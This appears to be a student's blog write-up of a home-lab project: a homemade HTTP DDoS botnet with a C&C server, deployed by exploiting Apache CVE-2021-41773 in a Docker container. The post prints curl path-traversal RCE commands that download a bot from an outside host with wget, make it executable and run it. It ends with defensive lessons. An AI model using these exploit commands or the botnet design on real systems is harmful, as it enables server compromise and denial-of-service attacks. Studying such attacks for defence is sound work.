Homemade DDoS: Development, Target Infiltration and Lessons Learned
Table of Contents
November 18, 2024
1. Intro
Since beginning my cybersecurity program, I've been looking for a good starter project to dip my toes into the field. To understand how to protect a computer system I figured I have to learn how to attack a system in the first place. The goal of this project was to learn how to go about exploiting a system in a natural non-contrived way. What I mean by natural and non-contrived is that the project is not prearranged with a specific path to take. School assignments, tutorials and similar exercises are examples of this. Although this approach is helpful for teaching skills and I of course leverage this type of learning (even within this project), I wanted to try something more open ended that I could take in any direction I wished, solve problems as they arose, and without training wheels so to speak.
Cybersecurity is a wide and deep field and finding a starter project was difficult in that there are so many places to start. So I decided to start with what seemed to be the simplest type of attack, distributed denial of service (DDoS). Is DDoS the simplest? In hindsight no, but being new to the field this seemed like an easy place to start since the concept is simple. The basic idea is to spam a target server with as many requests as possible to reduce its availability to respond to legitimate requests to 0.
2. Attack Plan
The plan is simple.
- Write a DDoS tool. There are two parts to a DDoS tool, a command and control (C&C) server and a bot. The C&C is the general that gives the orders and the bot is the foot solider which carries out the attack
- Infiltrate a computer system and deploy the bot there. Let's call this target computer the bot-target
- Have the bot call the C&C server and await orders
- Issue orders via the C&C server to launch an attack against a target server (which we will call the DDoS-target), and issue orders to stop the attack when necessary
3. DDoS Tool Software Development
I decided to keep things simple and write a HTTP DoS (not distributed, just DoS at this point) tool and exclude attacks with other network protocols and on other network layers. To start I originally wrote a program that simply runs as many attack loops in parallel as possible. An attack loop is just a loop that repeatedly makes HTTP requests to the DDoS-target server. I ran the bot program on 3 of my devices, and I found that this was nowhere near enough to make a website hosted on my personal web server unavailable or even significantly slow its load time. Clearly more bots on more devices were needed to bring down even a humble web server running on a small form factor PC in my apartment.
So I expanded the DoS program to a more general DDoS tool to support controlling bots on multiple remote devices. I wrote a C&C server and modified the bot program to call the C&C server over HTTP periodically to receive attack orders. Attack orders specify the DDoS-target domain or IP address and whether to attack or to stop.
The most interesting part of the DDoS tool is the bot program. The bot makes periodic HTTP requests to the C&C server to receive orders. If the bot receives a response from the C&C server including the order to attack, it creates many parallel attack loops and executes a HTTP GET request within the loop to the DDoS-target server. In parallel to the attack loop the bot continues to send periodic requests for orders to the C&C server, so if the C&C responds with orders to stop attacking, the bot will stop.
4. Infiltration to Deploy Bot
4.1. TLDR
In brief, here are the steps taken to simulate the infiltration of a machine to deploy the bot:
- Create docker container with Apache HTTP Server version 2.4.49
- Configure Apache via httpd.conf to create the conditions for CVE-2021-41773 to work (also see Apache HTTP Server 2.4 vulnerabilities)
- Install
wget
in the container as a legitimate admin user. The Apache 2.4.49 Docker image does not includewget
, and since many Linux distributions come installed with it I think its safe to assume it would be available for the purposes of this project - Use remote code execution (RCE) vulnerability to download a statically linked bot program onto the machine using
wget
and thenchmod
to make it executable - Use RCE to remotely execute bot. Control the bot using the C&C server
4.2. Background
The next part of the plan required finding an attack vector to infiltrate and deploy the bot program onto enough machines to create a botnet to have a sufficient volume of requests to make the DDoS-target server unavailable.
For this exercise, I decided to look for an existing vulnerability affecting Apache HTTP servers. I chose Apache because I am already familiar with running Apache and because targeting Apache is a realistic scenario given its ubiquity. The Apache vulnerability I chose to exploit is CVE-2021-41773 which is a path traversal remote execution vulnerability. My goal was to find a way to use remote code execution to download a binary of my bot program to the machine.
Being new to cybersecurity I didn't know how to exploit this vulnerability. I found a good explanation here for exploiting CVE-2021-41773, which details why Apache 2.4.49 is vulnerable and how to exploit it.
4.3. Step 1: Project Setup
In my cybersecurity program there is a lot of talk about setting up a home lab for developing and testing exploits and controls. I have an ad-hoc lab of sorts in that I can guinea pig devices on my home network, but currently I have no formal lab. Because of that and because these days I am always on the go, I set up this project with the bot-target machine running in Docker, the C&C server running on a cloud server, and the DDoS-target machine running on the web server you are reading this blog post from (the guinea pig).
The Dockerfile to build the image for this project is dead simple:
FROM httpd:2.4.49-buster
I setup the Docker container running Apache to listen on localhost:80
.
4.4. Step 2: (Mis)configure Apache
For CVE-2021-41773 to work requires configuring Apache via httpd.conf to allow access to the file system like so:
<Directory /> AllowOverride none # this is the default # Require all denied # misconfigure to allow access to entire filesystem Require all granted </Directory>
And to enable CGI scripts:
<IfModule !mpm_prefork_module> # the line below must be uncommented to allow cgi LoadModule cgid_module modules/mod_cgid.so </IfModule> <Directory "/usr/local/apache2/cgi-bin"> AllowOverride None # this is the default #Options None # enable cgi scripts Options +ExecCGI AddHandler cgi-script * Require all granted </Directory>
4.5. Step 3: Configure Docker Container to More Closely Match a Typical Stock Linux Server
In order to download the bot program to the bot-target machine requires wget
to be installed. Since many Linux distributions come with wget
installed by default, it is reasonable to assume it is available and therefore I installed it into the Docker container simulating the bot-target.
4.6. Step 4: Exploit RCE Vulnerability to Deploy Bot Program
Finding a directory with rwx
access was critical in order to exploit the path traversal vulnerability and achieve RCE. Without such a directory, some means of getting rwx
would have been necessary, such as a privilege escalation vulnerability. Requiring an additional vulnerability would have reduced the the set of available machines that could be potential targets for infiltration and bot deployment.
Since Apache was running under the daemon
user, the only directory with rwx
access was the /tmp
directory, so this is the where the bot program was downloaded to and executed from.
Figure 1: Listing out the directories and their permissions
The steps to download and execute the bot program are shown in the code block below. The path traversal vulnerability allows us to execute programs with the machine's shell if Apache has CGI scripts enabled. The path traversal exploit relies on a path normalization flaw in Apache version 2.4.49, the details of which are covered in the explanation here.
curl 'localhost:80/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'echo;wget --directory-prefix=/tmp http://4439526.xyz/bot' curl 'localhost:80/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'echo;chmod a+x /tmp/bot' curl 'localhost:80/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'echo;/tmp/bot'
A hangup I had in deploying the bot program was that the bot binary was not statically linked when I first deployed it, preventing the binary from running on the bot-target. I assumed since I wrote the bot program in Go that the binary is statically linked by default. This was not the case since Go dynamically links libc when using the net
library. A thorough explanation can be found here. I statically linked the bot program by adding the netgo
build tag. See the bot build script for details.
4.7. Step 5: Execute Bot Program and Control via C&C Server
Once deployed, the below command executes the bot program.
curl 'localhost:80/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'echo;/tmp/bot'
The image below shows how the botnet is controlled through the C&C server. Simply set CMD
to ATTACK
or to HOLD
and specify the TARGET
. The C&C server looks for the ccs.conf
file in the same directory it is in and reads the orders to relay to the botnet from it.
Figure 2: Controlling bots through a conf file
Once the bot is running on the bot-target and the order to attack is given, the DDoS attack can be seen in the Apache logs as shown below.
Figure 3: Witness the attack in the Apache access logs
5. Lessons Learned: Defender's and Attacker's Perspective
From the defender's perspective, the adversary's modus operandi (AMO) can be modeled using various cybersecurity models such as MITRE ATT&CK or the cyber kill chain. Defenders have opportunities to stop the attack in different attack phases. Using the the cyber kill chain as a model, updating Apache, creating a user without file system access outside the web root for Apache to run under, configuring Apache to not allow directory access outside its web root, and disabling CGI scripts (if they are not necessary) all could have stopped the attack in the weaponization, delivery or exploitation phases. Additionally, blocking outbound HTTP requests from the server could have stopped the attack in the delivery, installation, and command and control phases. Furthermore, uninstalling all unneeded programs like wget
would reduce attacker's means for exploiting the system.
From the attacker's perspective, a seemingly simple attack is after all not so simple. To deploy the bot program by exploiting CVE-2021-41773 required three preconditions; Apache version 2.4.49, misconfiguration of Apache directory access, and CGI scripts to be enabled. To effectively build a large botnet would require developing exploits for numerous vulnerabilities, not just CVE-2021-41773, and potentially also employing social engineering to commandeer as many machines as possible. Social engineering opens the possibility of commandeering machines that do not have services open to the internet. Deploying a worm along with the bot program could potentially spread the bot program to other machines on the same network as the bot-target server, including machines without services open to the internet.